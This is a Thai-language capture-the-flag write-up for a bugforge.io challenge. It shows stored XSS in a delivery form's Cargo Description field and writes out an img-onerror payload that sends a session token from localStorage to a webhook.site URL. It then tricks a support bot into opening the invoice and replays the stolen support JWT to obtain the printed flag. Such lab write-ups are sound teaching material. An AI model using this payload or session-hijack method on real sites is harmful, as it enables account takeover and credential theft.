โจทย์สัปดาห์ใหม่มาอีกแล้ว สำหรับเว็บ bugforge.io รอบนี้ทีมก็ยังไม่ได้ first blood อีกเช่นเคย มาไม่เคยทันชาวบ้านเขา เพราะกว่าจะกลับจาก กทม. มาถึงขอนแก่นก็ 6 โมงเช้าพอดี เลยไม่เคยตื่นมาทันสอบโจทย์ใหม่รายสัปดาห์

None

แต่ไม่เป็นไรครับ อย่างน้อยก็ทำ Streak และเก็บแต้มกันไป และเพื่อเป็นรางวัลปลอบใจเราจะเปิดดู Hint กันเช่นเคย ซึ่งเอาจริง ๆ มันก็ไม่ได้แย่นะครับ เพราะถ้าเราทำไม่เป็น ถึงจะเปิดดู Hint เราก็อาจจะแก้โจทย์ไม่ได้ก็ได้นะ ดังนั้น ดู Hint แล้วก็ต้องพอทำโจทย์เป็นด้วยล่ะเนอะ

None

โอเค โจทย์ในข้อนี้นะครับ จะเป็นเกี่ยวกับ B2B Service (บริษัทซื้อขายกันเอง) ก็น่าจะมีฟังก์เกี่ยวกับการซื้อขายนั่นแหละ

None

หลังจากสมัครสมาชิกเรียบร้อยหน้าเว็บจะมีประมาณนี้ มีการติดตามการจัดส่งสินค้า, ค่าใช้จ่าย และความเสี่ยงของการส่งสินค้าไม่สำเร็จ

None

ซึ่งถ้าเราดูจาก Hint ที่บอกว่า Support is helpful. เราไปหาส่องดูก่อนว่าส่วน Support มันเป็นยังไง โดยไปที่ Deliveries จะ Request Support ซึ่งแบบนี้มองปุ๊ปรู้ปั๊ปเลยว่า มันต้องมีการส่งตั๋วไปหา Support หลังบ้านของเว็บไซต์

None

ทีนี้ทีมจะลองสร้างการส่งสินค้าขึ้นมาก่อน โดยไปที่ New Delivery กรอกข้อมูลทั่ว ๆ ไป จากนั้นมันจะมีช่อง Cargo Description ซึ่งถ้ามีฟอร์มมาแบบนี้นะครับ คิดง่าย ๆ เลยว่าถ้ามันรับ input อะไรจาก user แสดงว่ามันเอื้อให้เราทำ Injection

แล้วจะเป็น Injection แบบไหนล่ะ? ทีมจะลอง XSS ก่อนเลย เพราะค่อนข้างทำได้ง่าย ถ้าติดก็ติดเลย หรือเราจะลองใส่แนว HTML injection ไปก่อนก็ได้ครับ แล้วรอดูว่าตัวเว็บจะมีผลลัพธ์ยังไง

ส่วนในภาพ ทีมจะใช้ XSS แบบบ้าน ๆ คือ <script>alert(1)</script> จากนั้นก็คลิกที่ Book Delivery

None

หลังเราสร้าง Delivery เสร็จ มันจะขึ้นให้เราดาวน์โหลดใบแจ้งหนี (Invoice) สมมุติว่าถ้า Cargo Description เสี่ยงต่อการเกิด XSS ถ้าเราเปิดดู Invoice ก็มีโอกาสเกิด alert 1 ขึ้นมาได้ครับ

None

แล้วผลลัพธ์ก็เป็นดังภาพ มี alert 1 เกิดขึ้นมาจริง ๆ

None

มาส่องดูอีกนิดใน Elements จะพบว่า Invoice มันมีการเรนเดอร์ XSS payload ของเราออกมาแบบตรง ๆ ไม่มี escape อะไรทั้งสิ้น เอาล่ะงานนี้หวาน ๆ มันเป็นแบบที่ทีมคิดไว้ ว่าข้อนี้จงใจให้เราขโมย cookie ของคนที่อยู่หลังบ้านมาให้ได้ครับ

None

ลองมาดูก่อนว่าลักษณะของ cookie เป็นยังไง จากภาพ cookie ที่ว่ามันเป็น session token อยู่ใน local storage

None

มาส่องดู token ของเราหน่อย ทรงนี้คือ jwt นะครับ นำไปแปลค่าใน jwt.io จะได้ตามภาพ เพราะนี่คือ token ของบัญชีเราเอง

None

หลังจากนั้น เราจะให้สคริปต์ของเราขโมย cookie แล้วส่งไปยังปลายทาง ซึ่งทีมจะใช้ webhook ในครั้งนี้นะครับ ก็คัดลอกตรง Your unique URL มาไว้เลย ในการทดสอบนี้เราได้ https://webhook.site/ef425f4e-6870-47d1-8029-f523369fc99d

None

เมื่อได้ส่วนประกอบครบแล้ว เราจะใช้สคริปต์นี้แทนครับ

<img src=x onerror="(new Image).src='https://webhook.site/ef425f4e-6870-47d1-8029-f523369fc99d?c='+localStorage.token">

อธิบายกันสักนิดนึง สคริปต์นี้จะสร้างเรียกรูปภาพจากแท็ก <img> แล้วมี src=x ซึ่งซอร์สนี้มันจะไม่มีอยู่จริงนะครับ ดังนั้น เวลาโหลดแท็กขึ้นมารูปจะพัง

หลังจากนั้นมันจะไปรัน event handler ที่เป็นส่วน onerror ด้านหลังนี่แหละ ถ้ามันมี error เกิดขึ้น จะต้องสร้างรูปใหม่ขึ้น โดยเรียกไปยังซอร์ส (src) https://webhook.site/ef425f4e-6870-47d1-8029-f523369fc99d ซึ่งเป็น url ของ webhook

ส่วน ?c='+localStorage.token เป็นการบอกว่า ถ้าจะเรียกไปที่ซอร์ส webhook ตาม url นะ ให้แนบ token ใน local storage มาไว้ด้วย โดยให้พารามิเตอร์คือ c

None

หลังจากกดส่ง Book Delivery แล้ว เรามาทดสอบกันก่อนครับ ถ้าสคริปต์ใช้ได้จริง บัญชีของเราซึ่งเปิดดู invoice จะต้องถูกขโมย cookie ส่งไปยัง webhook

None

เอาล่ะมาดูที่ Webhook จะพบว่าที่ Query Strings ในพารามิเตอร์ c จะมีค่า cookie หรือ session token ของบัญชีเรามาด้วย แสดงว่าแบบนี้ถ้าเราส่งไปยังหลังบ้านแล้ว support มาเปิดดูก็มีแนวโน้มที่เราจะขโมย cookie ของ support ได้ด้วยครับ

None

เรากลับมาที่ Request Support ให้เลือกรายการ Delivery ที่เราใส่สคริปต์ไว้ แล้วเลือก Support Type ที่ Invoice review เพื่อให้หลังบ้านรีวิวใบแจ้งหนี้ของเราอีกครั้ง (หลอกให้เปิดนั่นแหละ)

None

เมื่อส่งไปเรียบร้อย รอให้บอทหลังบ้านมาเปิดดู Request ของเรา สักพักจะมีข้อมูลส่งเข้ามาที่ Webhook ครับ สังเกตว่า Query Strings ที่พารามิเตอร์ c มีค่า cookie ที่ไม่เหมือนกับของเรา

None

คัดลอกมาเปิดดูใน jwt.io จะเห็นว่านี่คือ cookie ของ Support!!

None

กลับมาที่ request ของ /api/invoices/2 ที่เราจับไว้ใน burp (ใครไม่จับไว้ก็ไปใช้วิธีเปลี่ยนค่า token บนเบราว์เซอร์เองนะ) ในภาพจะเป็นตัวอย่างของ request ที่ใช้ cookie ของเรา

None

จากนั้นแทนที่ cookie ของเราด้วยค่าของ Support แล้วกดส่งไป จะพบว่ามี header X-flag ที่มีค่า flag อยู่ในนั้น

None

ดังนั้นโจทย์ข้อนี้ได้ flag: bug{NaISMAwg5Mh9cqNt1H1pU60XdjpHGPNI}

สนใจแนวนี้ฝากกดติดตามด้วยนะครับ หรือติดตามได้ในช่องทางเหล่านี้